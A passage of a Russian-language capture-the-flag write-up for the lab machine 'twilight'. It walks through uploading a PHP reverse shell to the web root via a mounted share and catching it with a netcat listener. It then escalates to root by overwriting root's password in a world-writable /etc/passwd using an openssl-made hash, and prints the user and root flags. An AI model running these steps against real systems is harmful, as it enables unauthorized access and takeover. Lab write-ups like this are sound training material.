<html xmlns="">http://www.w3.org/1999/xhtml">
<head>
<meta data-fr-http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Max's Image Uploader</title>
<link href="style/style.css" rel="stylesheet" type="text/css" />
</head>
<body>
<?php
$myImageUpload = new maxImageUpload();
//$myUpload->setUploadLocation(getcwd().DIRECTORY_SEPARATOR);
$myImageUpload->uploadImage();
?>
Вижу скрипт. Обращаю внимание на то, что переменной $myImageUpload присваивают значение функции maxImageUpload().
-rwxr-xr-x 1 root root 8.8K Mar 19 2008 maxImageUpload.class.php
Открываю и читаю... Нахожу код фильтра:
И в этот самый момент ко мне в голову врывается мысль: - Если ты можешь это редактировать, так может можно сюда залит файл?
Твою жеж дивизию...
Топаю к файлу с шеллом. Настраиваю его и :
Код:
┌─[root@parrot]─[/opt/shell]
└──╼ #cp reverse_sh.php /tmp/WRKSHARE/var/www/html/ && ls -l /tmp/WRKSHARE/var/www/html/
total 4096
-rwxr-xr-x 1 root root 152 Jul 16 2020 current.php
drwxr-xr-x 2 root root 0 Mar 6 13:10 gallery
-rwxr-xr-x 1 root root 228 Jul 16 2020 index.php
-rwxr-xr-x 1 root root 58 Jul 16 2020 lang.php
-rwxr-xr-x 1 root root 5490 Mar 6 13:15 reverse_sh.php
Вуаля, шелл залит...
Понимая что залил его в корень сайта, иду на
Ссылка скрыта от гостей
и ставлю листенера:
Код:
└──╼ #nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.1.5 35290
Linux twilight 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux
06:18:16 up 3:08, 0 users, load average: 0.00, 0.02, 0.97
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Бам и я в системе!
И так время для повышения прав. Первым делом смотрю cron:
Пусто ...
Смотрю возможность доступа к
/etc/passwd
Код:
$ ls -l passwd
-rwxrwxrwx 1 root root 1594 Mar 6 04:57 passwd
Опля... Добрый вечер... Файл открыт для записи, а это говорит о том, что мы можем поменять пароль на root или создать своего супер пользователя.
Иду к себе и запуская openssl:
Код:
└──╼ #openssl passwd -1 -salt new test123
$1$new$5.ite0q7hk9LLso7LljIk/
Получил хеш пароля test123, теперь нужно отредактировать файл /etc/passwd. Скажу сразу, через коману
echo “hash” >> /etc/passwd
выполнить задачу не удасться, так как в файл добавится все, кроме самого хеша. Почему так, я не разбирался еще, но как-то попробую узнать. Поэто принемаю решение использовать любой из доступных редакторов:При попытке вызвать nano:
Код:
$ nano /etc/passwd
Unable to create directory /var/www/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.
Press Enter to continue
Error opening terminal: unknown.
Пытаюсь создать /var/www/.local/share/nano/ :
$
Код:
mkdir .local
mkdir: cannot create directory '.local': Permission denied
Пробую vim:
Код:
vim /etc/passwd
/bin/sh: 6: vim: not found
$ /usr/bin/vim /etc/passwd
/bin/sh: 7: /usr/bin/vim: not found
Хм... Напрягся. Ок, а vi :
vi запустился, но из-за нестабильной оболочки я ничего не могу отредактировать. Печаль (((
Начинаю активно гуглить на предмет редактирования файла без редактора. Может есть команда которая выручит. Минут через 30 -40 запрос вида “how to edit file whithout vim or nano” начал давайть результаты. Вариантов как оказалось масса, но я наткнулся на пояснение где упоминался монтированый раздел. И я понял, что я могу просто отредактировать файл из своей оболочки.
Код:
┌─[root@parrot]─[/tmp/WRKSHARE/etc]
└──╼ #ll
total 73M
-rwxr-xr-x 1 root root 3.0K Jul 9 2020 adduser.conf
-rwxr-xr-x 1 root root 44 Jul 9 2020 adjtime
// ---------------- //
Я в каталоге. Важное пояснение, если ввести nano(vim,vi) или что-то еще для открытия или считывания файла, крайне важно вводить полный путь к файлу, так как ваша оболочка подумает что мы хотим редактировать/прочитать наш файл )))
Ввожу
nano /tmp/WRKSHARE/etc/passwd
и открываю файл:Теперь осталось выбрать что я хочу, заменить пароль у root'a или создать своего ))) Я решил просто заменить пароль:
После сохранения пробую su root:
Booommm!!! Теперь пойду соберу флаги:
Код:
cd /home
ls -la
total 12
drwxr-xr-x 3 root root 4096 Jul 8 2020 .
drwxr-xr-x 18 root root 4096 Jul 8 2020 ..
drwx------ 7 miguel miguel 4096 Jul 16 2020 miguel
cd miguel
ls -la
total 52
drwx------ 7 miguel miguel 4096 Jul 16 2020 .
drwxr-xr-x 3 root root 4096 Jul 8 2020 ..
lrwxrwxrwx 1 root root 9 Jul 16 2020 .bash_history -> /dev/null
-rwx------ 1 miguel miguel 220 Jul 8 2020 .bash_logout
-rwx------ 1 miguel miguel 3526 Jul 8 2020 .bashrc
drwxr-xr-x 2 root root 4096 Jul 16 2020 efs
drwxr-xr-x 2 miguel miguel 4096 Jul 16 2020 efs2
drwxr-xr-x 2 root root 4096 Jul 16 2020 ftp
drwx------ 3 miguel miguel 4096 Jul 16 2020 .gnupg
drwxr-xr-x 3 miguel miguel 4096 Jul 16 2020 .local
-rwx------ 1 miguel miguel 807 Jul 8 2020 .profile
-rw-r--r-- 1 miguel miguel 66 Jul 16 2020 .selected_editor
-rw-r--r-- 1 root root 33 Jul 16 2020 user.txt
-rw-r--r-- 1 miguel miguel 173 Jul 16 2020 .wget-hsts
cat user.txt
6b963e69f7b4a6205513973e4cace702
и флаг root:
Код:
cd /root
ls -la
total 36
drwx------ 5 root root 4096 Jul 16 2020 .
drwxr-xr-x 18 root root 4096 Jul 8 2020 ..
lrwxrwxrwx 1 root root 9 Jul 16 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwx------ 3 root root 4096 Jul 16 2020 .cache
drwx------ 3 root root 4096 Jul 15 2020 .gnupg
drwxr-xr-x 3 root root 4096 Jul 8 2020 .local
lrwxrwxrwx 1 root root 9 Jul 16 2020 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 238 Jul 16 2020 root.txt
-rw-r--r-- 1 root root 212 Jul 15 2020 .wget-hsts
cat root.txt
(\
\'\
\'\ __________
/ '| ()_________)
\ '/ \ ~~~~~~~~ \
\ \ ~~~~~~ \
==). \__________\
(__) ()__________)
34d3ecb1bbd092bcb87954cee55d88d3
Thanks for playing! - Felipe Winsnes (@whitecr0wz)
Резюме
Что могу сказать об этой машине... Она не оказалась сложной, просто были моменты которые требовали поиск информации для решение задач, для которых не хватало знаний. Я явно прошел ее не по плану автора, так как флаг юзера я брал уже в конце вместе с рутовским, а значит наверное есть альтернативное решение с получением юзера miguel и уже выходом на root.
Но все это только подталкивает задержаться на ней и поработать еще, так как остались еще службы которые я не задействовал, тот же MySQL.
Выводы:
Чему научила эта машина?
Наверное в моем прохождении особо не чему, так как не пришлось использовать разные техники. Например:
1. Обход фильтрации на сервере
2. Работа с MySQL
В целом появлялось желание подсматреть, но после Sunset Decoy, я понял что в состоянии решить задачу сам. Главное не торопиться и периодически переключаться на что нибуть в случае подвисания. Я еще поработаю над машиной и в следующем обзоре опишу иные методы проникновения.
Спасибо!